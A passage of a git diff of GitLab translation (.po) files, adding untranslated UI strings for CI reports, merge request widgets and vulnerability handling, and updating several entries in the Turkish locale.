+
+msgid "ciReport|Fixed"
+msgstr ""
+
+msgid "ciReport|Fixed:"
+msgstr ""
+
+msgid "ciReport|Found %{issuesWithCount}"
+msgstr ""
+
+msgid "ciReport|Investigate this vulnerability by creating an issue"
+msgstr ""
+
+msgid "ciReport|Load performance test metrics: "
+msgstr ""
+
+msgid "ciReport|Load performance test metrics: No changes"
+msgstr ""
+
+msgid "ciReport|Loading %{reportName} report"
+msgstr ""
+
+msgid "ciReport|Manage licenses"
+msgstr ""
+
+msgid "ciReport|New"
+msgstr ""
+
+msgid "ciReport|No changes to code quality"
+msgstr ""
+
+msgid "ciReport|No code quality issues found"
+msgstr ""
+
+msgid "ciReport|RPS"
+msgstr ""
+
+msgid "ciReport|Resolve with merge request"
+msgstr ""
+
+msgid "ciReport|SAST"
+msgstr ""
+
+msgid "ciReport|Secret Detection"
+msgstr ""
+
+msgid "ciReport|Secret scanning"
+msgstr ""
+
+msgid "ciReport|Secret scanning detects secrets and credentials vulnerabilities in your source code."
+msgstr ""
+
+msgid "ciReport|Security scanning"
+msgstr ""
+
+msgid "ciReport|Security scanning failed loading any results"
+msgstr ""
+
+msgid "ciReport|Solution"
+msgstr ""
+
+msgid "ciReport|Static Application Security Testing (SAST) detects known vulnerabilities in your source code."
+msgstr ""
+
+msgid "ciReport|TTFB P90"
+msgstr ""
+
+msgid "ciReport|TTFB P95"
+msgstr ""
+
+msgid "ciReport|There was an error creating the issue. Please try again."
+msgstr ""
+
+msgid "ciReport|There was an error creating the merge request. Please try again."
+msgstr ""
+
+msgid "ciReport|There was an error dismissing the vulnerability. Please try again."
+msgstr ""
+
+msgid "ciReport|There was an error fetching the codequality report."
+msgstr ""
+
+msgid "ciReport|There was an error reverting the dismissal. Please try again."
+msgstr ""
+
+msgid "ciReport|This report contains all Code Quality issues in the source branch."
+msgstr ""
+
+msgid "ciReport|Used by %{packagesString}"
+msgid_plural "ciReport|Used by %{packagesString}, and %{lastPackage}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "ciReport|View full report"
+msgstr ""
+
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
+msgid "closed"
+msgstr ""
+
+msgid "closed issue"
+msgstr ""
+
+msgid "collect usage information"
+msgstr ""
+
+msgid "comment"
+msgstr ""
+
+msgid "commented on %{link_to_project}"
+msgstr ""
+
+msgid "commit %{commit_id}"
+msgstr ""
+
+msgid "committed"
+msgstr ""
+
+msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
+msgstr ""
+
+msgid "container_name cannot be larger than %{max_length} chars"
+msgstr ""
+
+msgid "could not read private key, is the passphrase correct?"
+msgstr ""
+
+msgid "created"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
+msgid "created %{timeAgo}"
+msgstr ""
+
+msgid "data"
+msgstr ""
+
+msgid "date must not be after 9999-12-31"
+msgstr ""
+
+msgid "day"
+msgid_plural "days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "days"
+msgstr ""
+
+msgid "default branch"
+msgstr ""
+
+msgid "deleted"
+msgstr ""
+
+msgid "deploy"
+msgstr ""
+
+msgid "design"
+msgstr ""
+
+msgid "designs"
+msgstr ""
+
+msgid "detached"
+msgstr ""
+
+msgid "disabled"
+msgstr ""
+
+msgid "does not exist"
+msgstr ""
+
+msgid "does not have a supported extension. Only %{extension_list} are supported"
+msgstr ""
+
+msgid "download it"
+msgstr ""
+
+msgid "draft"
+msgid_plural "drafts"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "e.g. %{token}"
+msgstr ""
+
+msgid "element is not a hierarchy"
+msgstr ""
+
+msgid "email '%{email}' does not match the allowed domain of %{email_domains}"
+msgid_plural "email '%{email}' does not match the allowed domains: %{email_domains}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "email '%{email}' is not a verified email."
+msgstr ""
+
+msgid "enabled"
+msgstr ""
+
+msgid "encrypted: needs to be a :required, :optional or :migrating!"
+msgstr ""
+
+msgid "entries cannot be larger than 255 characters"
+msgstr ""
+
+msgid "entries cannot be nil"
+msgstr ""
+
+msgid "entries cannot contain HTML tags"
+msgstr ""
+
+msgid "epic"
+msgstr ""
+
+msgid "error"
+msgstr ""
+
+msgid "estimateCommand|%{slash_command} will update the estimated time with the latest command."
+msgstr ""
+
+msgid "exceeds the limit of %{bytes} bytes"
+msgstr ""
+
+msgid "exceeds the limit of %{bytes} bytes for directory name \"%{dirname}\""
+msgstr ""
+
+msgid "expired on %{timebox_due_date}"
+msgstr ""
+
+msgid "expires on %{timebox_due_date}"
+msgstr ""
+
+msgid "failed"
+msgstr ""
+
+msgid "failed to dismiss associated finding(id=%{finding_id}): %{message}"
+msgstr ""
+
+msgid "failed to revert associated finding(id=%{finding_id}) to detected"
+msgstr ""
+
+msgid "file"
+msgid_plural "files"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "finding is not found or is already attached to a vulnerability"
+msgstr ""
+
+msgid "following"
+msgstr ""
+
+msgid "for %{link_to_merge_request} with %{link_to_merge_request_source_branch}"
+msgstr ""
+
+msgid "for %{link_to_merge_request} with %{link_to_merge_request_source_branch} into %{link_to_merge_request_target_branch}"
+msgstr ""
+
+msgid "for %{link_to_pipeline_ref}"
+msgstr ""
+
+msgid "for %{ref}"
+msgstr ""
+
+msgid "for this project"
+msgstr ""
+
+msgid "fork"
+msgstr ""
+
+msgid "fork this project"
+msgstr ""
+
+msgid "from"
+msgstr ""
+
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "group"
+msgstr ""
+
+msgid "group members"
+msgstr ""
+
+msgid "group's CI/CD settings."
+msgstr ""
+
+msgid "groups"
+msgstr ""
+
+msgid "has already been linked to another vulnerability"
+msgstr ""
+
+msgid "has already been taken"
+msgstr ""
+
+msgid "has already been taken as Codename"
+msgstr ""
+
+msgid "has already been taken as Suite"
+msgstr ""
+
+msgid "has been completed."
+msgstr ""
+
+msgid "help"
+msgstr ""
+
+msgid "http:"
+msgstr ""
+
+msgid "http://www.example.com"
+msgstr ""
+
+msgid "https://your-bitbucket-server"
+msgstr ""
+
+msgid "image diff"
+msgstr ""
+
+msgid "impersonation token"
+msgstr ""
+
+msgid "impersonation tokens"
+msgstr ""
+
+msgid "import flow"
+msgstr ""
+
+msgid "in"
+msgstr ""
+
+msgid "in group %{link_to_group}"
+msgstr ""
+
+msgid "in project %{link_to_project}"
+msgstr ""
+
+msgid "instance completed"
+msgid_plural "instances completed"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "invalid milestone state `%{state}`"
+msgstr ""
+
+msgid "is"
+msgstr ""
+
+msgid "is already associated to a GitLab Issue. New issue will not be associated."
+msgstr ""
+
+msgid "is an invalid IP address range"
+msgstr ""
+
+msgid "is blocked by"
+msgstr ""
+
+msgid "is forbidden by a top-level group"
+msgstr ""
+
+msgid "is invalid because there is downstream lock"
+msgstr ""
+
+msgid "is invalid because there is upstream lock"
+msgstr ""
+
+msgid "is not"
+msgstr ""
+
+msgid "is not a descendant of the Group owning the template"
+msgstr ""
+
+msgid "is not a valid X509 certificate."
+msgstr ""
+
+msgid "is not allowed since the group is not top-level group."
+msgstr ""
+
+msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
+msgstr ""
+
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
+msgid "is not an email you own"
+msgstr ""
+
+msgid "is not in the group enforcing Group Managed Account"
+msgstr ""
+
+msgid "is not valid. The iteration group has to match the iteration cadence group."
+msgstr ""
+
+msgid "is read only"
+msgstr ""
+
+msgid "is too long (%{current_value}). The maximum size is %{max_size}."
+msgstr ""
+
+msgid "is too long (maximum is %{count} characters)"
+msgstr ""
+
+msgid "is too long (maximum is 100 entries)"
+msgstr ""
+
+msgid "is too long (maximum is 1000 entries)"
+msgstr ""
+
+msgid "issue"
+msgstr ""
+
+msgid "issues at risk"
+msgstr ""
+
+msgid "issues need attention"
+msgstr ""
+
+msgid "issues on track"
+msgstr ""
+
+msgid "it is larger than %{limit}"
+msgstr ""
+
+msgid "it is stored as a job artifact"
+msgstr ""
+
+msgid "it is stored externally"
+msgstr ""
+
+msgid "it is stored in LFS"
+msgstr ""
+
+msgid "it is too large"
+msgstr ""
+
+msgid "jigsaw is not defined"
+msgstr ""
+
+msgid "kuromoji custom analyzer"
+msgstr ""
+
+msgid "last commit:"
+msgstr ""
+
+msgid "latest"
+msgstr ""
+
+msgid "latest deployment"
+msgstr ""
+
+msgid "latest version"
+msgstr ""
+
+msgid "leave %{group_name}"
+msgstr ""
+
+msgid "less than a minute"
+msgstr ""
+
+msgid "level: %{level}"
+msgstr ""
+
+msgid "limit of %{project_limit} reached"
+msgstr ""
+
+msgid "load it anyway"
+msgstr ""
+
+msgid "loading"
+msgstr ""
+
+msgid "locked"
+msgstr ""
+
+msgid "locked by %{path_lock_user_name} %{created_at}"
+msgstr ""
+
+msgid "log in"
+msgstr ""
+
+msgid "manual"
+msgstr ""
+
+msgid "math|Displaying this math block may cause performance issues on this page"
+msgstr ""
+
+msgid "math|There was an error rendering this math block"
+msgstr ""
+
+msgid "merge request"
+msgid_plural "merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "merged %{timeAgo}"
+msgstr ""
+
+msgid "metric_id must be unique across a project"
+msgstr ""
+
+msgid "missing"
+msgstr ""
+
+msgid "more information"
+msgstr ""
+
+msgid "most recent deployment"
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgstr ""
+
+msgid "mrWidgetCommitsAdded|1 merge commit"
+msgstr ""
+
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
+msgstr ""
+
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
+msgstr ""
+
+msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
+msgstr ""
+
+msgid "mrWidget|%{mergeError}."
+msgstr ""
+
+msgid "mrWidget|%{mergeError}. Try again."
+msgstr ""
+
+msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage %{emphasisStart} decreased %{emphasisEnd} from %{memoryFrom}MB to %{memoryTo}MB"
+msgstr ""
+
+msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage %{emphasisStart} increased %{emphasisEnd} from %{memoryFrom}MB to %{memoryTo}MB"
+msgstr ""
+
+msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
+msgstr ""
+
+msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
+msgstr ""
+
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
+msgid "mrWidget|Added to the merge train by"
+msgstr ""
+
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
+msgid "mrWidget|Allows commits from members who can merge to the target branch"
+msgstr ""
+
+msgid "mrWidget|An error occurred while removing your approval."
+msgstr ""
+
+msgid "mrWidget|An error occurred while retrieving approval data for this merge request."
+msgstr ""
+
+msgid "mrWidget|An error occurred while submitting your approval."
+msgstr ""
+
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
+msgid "mrWidget|Approval password is invalid."
+msgstr ""
+
+msgid "mrWidget|Approve"
+msgstr ""
+
+msgid "mrWidget|Approve additionally"
+msgstr ""
+
+msgid "mrWidget|Approved by"
+msgstr ""
+
+msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
+msgstr ""
+
+msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgstr ""
+
+msgid "mrWidget|Cancel automatic merge"
+msgstr ""
+
+msgid "mrWidget|Check out branch"
+msgstr ""
+
+msgid "mrWidget|Checking if merge request can be merged…"
+msgstr ""
+
+msgid "mrWidget|Cherry-pick"
+msgstr ""
+
+msgid "mrWidget|Cherry-pick this merge request in a new merge request"
+msgstr ""
+
+msgid "mrWidget|Closed"
+msgstr ""
+
+msgid "mrWidget|Closed by"
+msgstr ""
+
+msgid "mrWidget|Closes"
+msgstr ""
+
+msgid "mrWidget|Delete source branch"
+msgstr ""
+
+msgid "mrWidget|Deployment statistics are not available currently"
+msgstr ""
+
+msgid "mrWidget|Did not close"
+msgstr ""
+
+msgid "mrWidget|Email patches"
+msgstr ""
+
+msgid "mrWidget|Failed to load deployment statistics"
+msgstr ""
+
+msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
+msgstr ""
+
+msgid "mrWidget|Fork merge requests do not create merge request pipelines which validate a post merge result"
+msgstr ""
+
+msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
+msgstr ""
+
+msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
+msgstr ""
+
+msgid "mrWidget|Jump to first unresolved thread"
+msgstr ""
+
+msgid "mrWidget|Learn more about resolving conflicts"
+msgstr ""
+
+msgid "mrWidget|Loading deployment statistics"
+msgstr ""
+
+msgid "mrWidget|Mark as ready"
+msgstr ""
+
+msgid "mrWidget|Mentions"
+msgstr ""
+
+msgid "mrWidget|Merge"
+msgstr ""
+
+msgid "mrWidget|Merge failed."
+msgstr ""
+
+msgid "mrWidget|Merge locally"
+msgstr ""
+
+msgid "mrWidget|Merge request approved."
+msgstr ""
+
+msgid "mrWidget|Merged by"
+msgstr ""
+
+msgid "mrWidget|More information"
+msgstr ""
+
+msgid "mrWidget|Open in Web IDE"
+msgstr ""
+
+msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
+msgstr ""
+
+msgid "mrWidget|Plain diff"
+msgstr ""
+
+msgid "mrWidget|Ready to be merged automatically. Ask someone with write access to this repository to merge this request"
+msgstr ""
+
+msgid "mrWidget|Refresh"
+msgstr ""
+
+msgid "mrWidget|Refresh now"
+msgstr ""
+
+msgid "mrWidget|Refreshing now"
+msgstr ""
+
+msgid "mrWidget|Remove from merge train"
+msgstr ""
+
+msgid "mrWidget|Request to merge"
+msgstr ""
+
+msgid "mrWidget|Resolve all threads in new issue"
+msgstr ""
+
+msgid "mrWidget|Resolve conflicts"
+msgstr ""
+
+msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
+msgstr ""
+
+msgid "mrWidget|Revert"
+msgstr ""
+
+msgid "mrWidget|Revert this merge request in a new merge request"
+msgstr ""
+
+msgid "mrWidget|Revoke approval"
+msgstr ""
+
+msgid "mrWidget|Set by"
+msgstr ""
+
+msgid "mrWidget|The changes were merged into"
+msgstr ""
+
+msgid "mrWidget|The changes were not merged into"
+msgstr ""
+
+msgid "mrWidget|The changes will be merged into"
+msgstr ""
+
+msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
+msgstr ""
+
+msgid "mrWidget|The source branch HEAD has recently changed. Please reload the page and review the changes before merging"
+msgstr ""
+
+msgid "mrWidget|The source branch has been deleted"
+msgstr ""
+
+msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgstr ""
+
+msgid "mrWidget|The source branch is being deleted"
+msgstr ""
+
+msgid "mrWidget|The source branch will be deleted"
+msgstr ""
+
+msgid "mrWidget|The source branch will not be deleted"
+msgstr ""
+
+msgid "mrWidget|There are merge conflicts"
+msgstr ""
+
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
+msgstr ""
+
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgstr ""
+
+msgid "mrWidget|This merge request failed to be merged automatically"
+msgstr ""
+
+msgid "mrWidget|This merge request is in the process of being merged"
+msgstr ""
+
+msgid "mrWidget|This project is archived, write access has been disabled"
+msgstr ""
+
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgstr ""
+
+msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgstr ""
+
+msgid "mrWidget|You are not allowed to edit this project directly. Please fork to make changes."
+msgstr ""
+
+msgid "mrWidget|You can delete the source branch now"
+msgstr ""
+
+msgid "mrWidget|You can merge after removing denied licenses"
+msgstr ""
+
+msgid "mrWidget|Your password"
+msgstr ""
+
+msgid "mrWidget|branch does not exist."
+msgstr ""
+
+msgid "mrWidget|into"
+msgstr ""
+
+msgid "mrWidget|to be added to the merge train when the pipeline succeeds"
+msgstr ""
+
+msgid "mrWidget|to be merged automatically when the pipeline succeeds"
+msgstr ""
+
+msgid "mrWidget|to start a merge train when the pipeline succeeds"
+msgstr ""
+
+msgid "must be a Debian package"
+msgstr ""
+
+msgid "must be a boolean value"
+msgstr ""
+
+msgid "must be a root namespace"
+msgstr ""
+
+msgid "must be a valid IPv4 or IPv6 address"
+msgstr ""
+
+msgid "must be after start"
+msgstr ""
+
+msgid "must be greater than start date"
+msgstr ""
+
+msgid "must contain only valid frameworks"
+msgstr ""
+
+msgid "my-awesome-group"
+msgstr ""
+
+msgid "n/a"
+msgstr ""
+
+msgid "need attention"
+msgstr ""
+
+msgid "needs to be between 10 minutes and 1 month"
+msgstr ""
+
+msgid "never"
+msgstr ""
+
+msgid "never expires"
+msgstr ""
+
+msgid "new merge request"
+msgstr ""
+
+msgid "no approvers"
+msgstr ""
+
+msgid "no contributions"
+msgstr ""
+
+msgid "no expiration"
+msgstr ""
+
+msgid "no name set"
+msgstr ""
+
+msgid "no one can merge"
+msgstr ""
+
+msgid "no scopes selected"
+msgstr ""
+
+msgid "none"
+msgstr ""
+
+msgid "not found"
+msgstr ""
+
+msgid "nounSeries|%{firstItem} and %{lastItem}"
+msgstr ""
+
+msgid "nounSeries|%{item}"
+msgstr ""
+
+msgid "nounSeries|%{item}, %{nextItem}"
+msgstr ""
+
+msgid "nounSeries|%{item}, and %{lastItem}"
+msgstr ""
+
+msgid "on track"
+msgstr ""
+
+msgid "open issue"
+msgstr ""
+
+msgid "opened %{timeAgo}"
+msgstr ""
+
+msgid "or"
+msgstr ""
+
+msgid "originating vulnerability"
+msgstr ""
+
+msgid "out of %d total test"
+msgid_plural "out of %d total tests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "parent"
+msgid_plural "parents"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "password"
+msgstr ""
+
+msgid "paused"
+msgstr ""
+
+msgid "pending comment"
+msgstr ""
+
+msgid "pending removal"
+msgstr ""
+
+msgid "per day"
+msgstr ""
+
+msgid "personal access token"
+msgstr ""
+
+msgid "personal access tokens"
+msgstr ""
+
+msgid "pipeline"
+msgstr ""
+
+msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
+msgstr ""
+
+msgid "pod_name cannot be larger than %{max_length} chars"
+msgstr ""
+
+msgid "point"
+msgid_plural "points"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "private"
+msgstr ""
+
+msgid "private key does not match certificate."
+msgstr ""
+
+msgid "processing"
+msgstr ""
+
+msgid "project"
+msgid_plural "projects"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "project access token"
+msgstr ""
+
+msgid "project access tokens"
+msgstr ""
+
+msgid "project avatar"
+msgstr ""
+
+msgid "project bots cannot be added to other groups / projects"
+msgstr ""
+
+msgid "project is read-only"
+msgstr ""
+
+msgid "project members"
+msgstr ""
+
+msgid "project name"
+msgstr ""
+
+msgid "projects"
+msgstr ""
+
+msgid "quick actions"
+msgstr ""
+
+msgid "recent activity"
+msgstr ""
+
+msgid "register"
+msgstr ""
+
+msgid "relates to"
+msgstr ""
+
+msgid "remaining"
+msgstr ""
+
+msgid "remove"
+msgstr ""
+
+msgid "remove due date"
+msgstr ""
+
+msgid "remove weight"
+msgstr ""
+
+msgid "removed a Zoom call from this issue"
+msgstr ""
+
+msgid "rendered diff"
+msgstr ""
+
+msgid "reply"
+msgid_plural "replies"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "repository:"
+msgstr ""
+
+msgid "reset it."
+msgstr ""
+
+msgid "revised"
+msgstr ""
+
+msgid "runners"
+msgstr ""
+
+msgid "satisfied"
+msgstr ""
+
+msgid "security Reports|There was an error creating the merge request"
+msgstr ""
+
+msgid "severity|Blocker"
+msgstr ""
+
+msgid "severity|Critical"
+msgstr ""
+
+msgid "severity|High"
+msgstr ""
+
+msgid "severity|Info"
+msgstr ""
+
+msgid "severity|Low"
+msgstr ""
+
+msgid "severity|Major"
+msgstr ""
+
+msgid "severity|Medium"
+msgstr ""
+
+msgid "severity|Minor"
+msgstr ""
+
+msgid "severity|None"
+msgstr ""
+
+msgid "severity|Unknown"
+msgstr ""
+
+msgid "should be an array of %{object_name} objects"
+msgstr ""
+
+msgid "should be greater than or equal to %{access} inherited membership from group %{group_name}"
+msgstr ""
+
+msgid "show %{count} more"
+msgstr ""
+
+msgid "show fewer"
+msgstr ""
+
+msgid "show less"
+msgstr ""
+
+msgid "sign in"
+msgstr ""
+
+msgid "smartcn custom analyzer"
+msgstr ""
+
+msgid "sort:"
+msgstr ""
+
+msgid "source"
+msgstr ""
+
+msgid "source diff"
+msgstr ""
+
+msgid "specific"
+msgstr ""
+
+msgid "specified top is not part of the tree"
+msgstr ""
+
+msgid "spendCommand|%{slash_command} will update the sum of the time spent."
+msgstr ""
+
+msgid "ssh:"
+msgstr ""
+
+msgid "started a discussion on %{design_link}"
+msgstr ""
+
+msgid "started on %{timebox_start_date}"
+msgstr ""
+
+msgid "starts on %{timebox_start_date}"
+msgstr ""
+
+msgid "stuck"
+msgstr ""
+
+msgid "success"
+msgstr ""
+
+msgid "suggestPipeline|1/2: Choose a template"
+msgstr ""
+
+msgid "suggestPipeline|2/2: Commit your changes"
+msgstr ""
+
+msgid "suggestPipeline|Choose %{boldStart}Code Quality%{boldEnd} to add a pipeline that tests the quality of your code."
+msgstr ""
+
+msgid "suggestPipeline|The template is ready! You can now commit it to create your first pipeline."
+msgstr ""
+
+msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
+msgstr ""
+
+msgid "tag name"
+msgstr ""
+
+msgid "the correct format."
+msgstr ""
+
+msgid "the following issue(s)"
+msgstr ""
+
+msgid "this document"
+msgstr ""
+
+msgid "this issue cannot be assigned to a confidential epic since it is public"
+msgstr ""
+
+msgid "this issue cannot be made public since it belongs to a confidential epic"
+msgstr ""
+
+msgid "time summary"
+msgstr ""
+
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
+msgid "to help your contributors communicate effectively!"
+msgstr ""
+
+msgid "to join %{source_name}"
+msgstr ""
+
+msgid "toggle collapse"
+msgstr ""
+
+msgid "train"
+msgstr ""
+
+msgid "triggered"
+msgstr ""
+
+msgid "two-factor authentication settings"
+msgstr ""
+
+msgid "type must be Debian"
+msgstr ""
+
+msgid "unicode domains should use IDNA encoding"
+msgstr ""
+
+msgid "updated"
+msgstr ""
+
+msgid "updated %{timeAgo}"
+msgstr ""
+
+msgid "updated %{time_ago}"
+msgstr ""
+
+msgid "uploaded"
+msgstr ""
+
+msgid "uploads"
+msgstr ""
+
+msgid "user avatar"
+msgstr ""
+
+msgid "user preferences"
+msgstr ""
+
+msgid "username"
+msgstr ""
+
+msgid "v%{version} published %{timeAgo}"
+msgstr ""
+
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
+msgid "verify ownership"
+msgstr ""
+
+msgid "version %{versionIndex}"
+msgstr ""
+
+msgid "via %{closed_via}"
+msgstr ""
+
+msgid "via merge request %{link}"
+msgstr ""
+
+msgid "view it on GitLab"
+msgstr ""
+
+msgid "view the blob"
+msgstr ""
+
+msgid "view the source"
+msgstr ""
+
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "vulnerability|Add a comment"
+msgstr ""
+
+msgid "vulnerability|Add a comment or reason for dismissal"
+msgstr ""
+
+msgid "vulnerability|Add comment"
+msgstr ""
+
+msgid "vulnerability|Add comment & dismiss"
+msgstr ""
+
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
+msgid "vulnerability|Dismiss vulnerability"
+msgstr ""
+
+msgid "vulnerability|Save comment"
+msgstr ""
+
+msgid "vulnerability|Undo dismiss"
+msgstr ""
+
+msgid "vulnerability|dismissed"
+msgstr ""
+
+msgid "was scheduled to merge after pipeline succeeds by"
+msgstr ""
+
+msgid "wiki page"
+msgstr ""
+
+msgid "with %{additions} additions, %{deletions} deletions."
+msgstr ""
+
+msgid "with expiry changing from %{old_expiry} to %{new_expiry}"
+msgstr ""
+
+msgid "with expiry remaining unchanged at %{old_expiry}"
+msgstr ""
+
+msgid "yaml invalid"
+msgstr ""
+
+msgid "your settings"
+msgstr ""
+
diff --git a/locale/tr_TR/gitlab.po b/locale/tr_TR/gitlab.po
index 7774dbbf3a3..eb5d1e2c6b8 100644
--- a/locale/tr_TR/gitlab.po
+++ b/locale/tr_TR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: tr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:56\n"
+"PO-Revision-Date: 2021-04-02 00:17\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] "%d dosya deÄŸiÅŸtirildi"
msgstr[1] "%d dosya deÄŸiÅŸtirildi"
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] "%d alt epik"
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] "%d sabit test sonucu"
@@ -392,6 +402,9 @@ msgstr "%{authorsName} kiÅŸisinin konusu"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr "%{commit_author_link} %{commit_timeago} oluÅŸturdu"
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr "%{name} kiÅŸisinden %{count} onay"
msgid "%{count} files touched"
msgstr "%{count} dosyaya dokunuldu"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr "%{count} daha"
@@ -537,7 +545,7 @@ msgstr "%{group_name} grubunun üyeleri"
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -547,7 +555,7 @@ msgid "%{hook_type} was scheduled for deletion"
msgstr ""
msgid "%{host} sign-in from new location"
-msgstr "%{host} yeni konumdan oturum açma"
+msgstr "%{host} yeni konumdan oturum açıldı"
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "Hangi bilgilerin GitLab Inc. ile paylaşıldığı hakkında %{usage_ping_link_start}daha fazla bilgi edinin%{usage_ping_link_end}."
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (birleÅŸtiremez)"
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr "+%{approvers} onaylayan daha"
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
